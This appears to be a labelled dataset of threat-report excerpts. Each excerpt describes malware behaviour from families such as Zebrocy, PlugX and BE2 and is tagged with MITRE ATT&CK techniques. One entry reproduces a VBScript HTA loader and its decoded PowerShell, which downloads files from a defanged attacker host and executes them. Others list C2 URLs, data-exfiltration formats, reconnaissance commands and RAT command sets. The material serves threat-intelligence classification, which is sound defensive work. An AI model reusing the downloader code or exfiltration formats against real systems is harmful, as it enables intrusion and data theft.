- T1027.001: Obfuscated Files or Information - Binary Padding
- T1140: Deobfuscate/Decode Files or Information
Threat description: The switch statement checks for 19 cases, between 101 and 119. (Updated to correct command IDs, thanks @mykill!)    Command ID Function   Description   101 getInfoOSX Gathers username and OSX version and responds using the encrypted form of the following string: “Mac OS X – [OSX version] x64<br>\nUser name – [username]”   102 getProcessList Runs “ps aux” to obtain a list of running processes   103 remoteShell Runs supplied command using “/bin/sh”   104 getInstalledAPP Gets a list of installed applications by running the command “ls -la /Applications”   105 showBackupIosFolder Checks to see if an IOS device was backed up to the system by running the command “ls -la ~/Library/Application\ Support/MobileSync/Backup/”   106 downloadFileFromPath Uploads a file from a specified path   107 createFileInSystem Downloads a file, specifically provided within the C2 server’s HTTP response   108 execFile Executes a specified file on the system using the NSTask:launch method   109 deletFileFromPath Deletes a specified file using the NSFileManager:removeFileAtPath method   110 takeScreenShot Takes a screenshot using the CGGetActiveDisplayList, CGDisplayCreateImage, NSImage:initWithCGImage methods
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1070.006: Indicator Removal - Timestomp
- T1106: Native API
Threat description: The threat actor’s main objective for using this RAT (known as Razy/NeD worm/Wonder Botnet) was obvious from the victim data that was collected – it was to search for specific file extensions such as PDF, DOC, DOCX, XLS, and XLSX, where they are compressed in RAR files per category, stored in temp directories within a folder named by victim ID (bot ID – long MD5 string), encrypted and uploaded to the C2
MITRE ATT&CK techniques:
- T1005: Data from Local System
- T1074: Data Staged
- T1083: File and Directory Discovery
Threat description: The tool runs the following list of WMI queries:  wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace wmic diskdrive get Model, SerialNumber wmic computersystem get Manufacturer, Model, Name, SystemTypec wmic os get Caption, OSArchitecture, OSLanguage,SystemDrive,MUILanguages wmic process get Caption,ExecutablePath  The URL used to send the system information, running processes and a screenshot to the C2 server is: hxxp://145.249.105[.]165/resource-store/stockroom-center-service/check.php?fm=[serial number] The C# variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows: spp=[system information from WMI queries] &spvg=[screenshot in JPEG format] Conclusion The Sofacy group continues their attacks on organizations across the globe using similar tactics and techniques
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
- T1057: Process Discovery
- T1041: Exfiltration Over C2 Channel
Threat description: The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <file identifier> + “?supportTeamDrives=true&fields=modifiedTime” The Trojan then uses the following regular expression to obtain the modified time of the file from the HTTP response, which is saved to the variable named modification_time: \”modifiedTime\”:(.*) The Trojan then uploads a second file to the Google Drive, the purpose of which is to allow the Trojan to continually write to this file as it waits for the actor to modify the first file uploaded
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1070.006: Indicator Removal - Timestomp
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
- T1105: Ingress Tool Transfer
Threat description: The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia and Middle East, which will match the following time zones in Windows:   Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5) According to MSDN, these five time zones encompass 10 countries that fall within UTC+2, +3, +3.5 or +4 as seen in Figure 3
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
- T1124: System Time Discovery
Threat description: The Trojan downloads the contents of this file by crafting an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <first file identifier> + “?alt=media” With the contents of the file downloaded, the Trojan sets the modification_time variable to the current modification time so the Trojan knows when the actor makes further changes to the file
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
- T1105: Ingress Tool Transfer
- T1083: File and Directory Discovery
Threat description: The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the “open” function using the ShellExecuteW API function
MITRE ATT&CK techniques:
- T1106: Native API
- T1140: Deobfuscate/Decode Files or Information
Threat description: The URL used can be found in the embedded OLE object:hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]Here is the source code of the downloaded HTA document:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" http-equiv="Content-Type" /><title>Bonjour</title><script language="VBScript">Set owFrClN0giJ = CreateObject("Wscript.Shell")Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") ThenowFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0End IfSelf.Close</script><hta:applicationid="oHTA"applicationname="Bonjour"application="yes"></head></html>Once decoded using the base64 algorithm, we are able to read the final payload:$c=new-object System.Net.WebClient$t =$env:temp$t1=$t+"\\alitmp0131.jpg"$t2=$t+"\\alitmp0132.jpg"$t3=$t+"\\alitmp0133.js"try  {    echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)    wscript.exe $t3  }catch  {   }The purpose of this script is to download and execute a Windows script and two encoded payloads
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1064: Scripting
Threat description: The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\ProgramData\Windows\Microsoft\java\ v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the base64-encoded files hUpdateCheckers.base and dUpdateCheckers.base, and drop hUpdateCheckers.ps1 and dUpdateCheckers.ps1 to the staging directory
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1064: Scripting
- T1036: Masquerading
Threat description: The VB.NET variant then gathers system information and running processes like other Zebrocy variants by running the following commands: systeminfo & tasklist The URL used to send the system information, running processes and a screenshot to the C2 server is: hxxp://109.248.148[.]42/agr-enum/progress-inform/cube.php?res=[serial number] The VB.NET variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows (notice the spaces before and after ampersand “&”): data=[system information and running processes] & arg=[screenshot in BMP format] C# Zebrocy Variant The C# variant of Zebrocy is similar to other variants in functionality, but also has several unique attributes that are worth discussing
MITRE ATT&CK techniques:
- T1132: Data Encoding
- T1082: System Information Discovery
- T1057: Process Discovery
Threat description: The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1102: Web Service
Threat description: The x command treats the supplied data as a PowerShell script that it will write to the current PowerShell script (Office365DCOMCheck.ps1/SystemDiskClean.ps1), effectively overwriting the initial PowerShell script with a secondary payload script
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1064: Scripting
Threat description: BE2 also uses start menu locations for persistence: UsersuserAppDataRoamingMicrosoftWindowsStart
MITRE ATT&CK techniques:
- T1007: System Service Discovery
- T1074: Data Staged
- T1036: Masquerading
Threat description: The “Excel” command receives another stage of the PowerShell code, saves it in “c:\programdata\a.ps1” and then asks Excel to execute this PowerShell script via DDE
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1059: Command and Scripting Interpreter
Threat description: This account was suspended in short order, but immediately after the suspension, an alternate account with the username @dookhtegan1 with the same stylized profile image appeared and is still currently active
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1033: System Owner/User Discovery
Threat description: This decrypted data is written to the following location:  %TEMP%\WUpdate.~tmp  This ‘WUpdate.~tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1140: Deobfuscate/Decode Files or Information
Threat description: This DLL file creates a scheduled task named BaiduUpdateTask1, which attempts to run the malicious, spoofed MSBuild.exe every subsequent minute
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: This has led it to do more, such as:  Communication with more C&C servers – up to 16 P2P communication between infected nodes MAC address check - PlugX runs if the MAC address of an infected host coincides with configuration information in itself (If not specified in the configuration, PlugX runs on any host)
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1082: System Information Discovery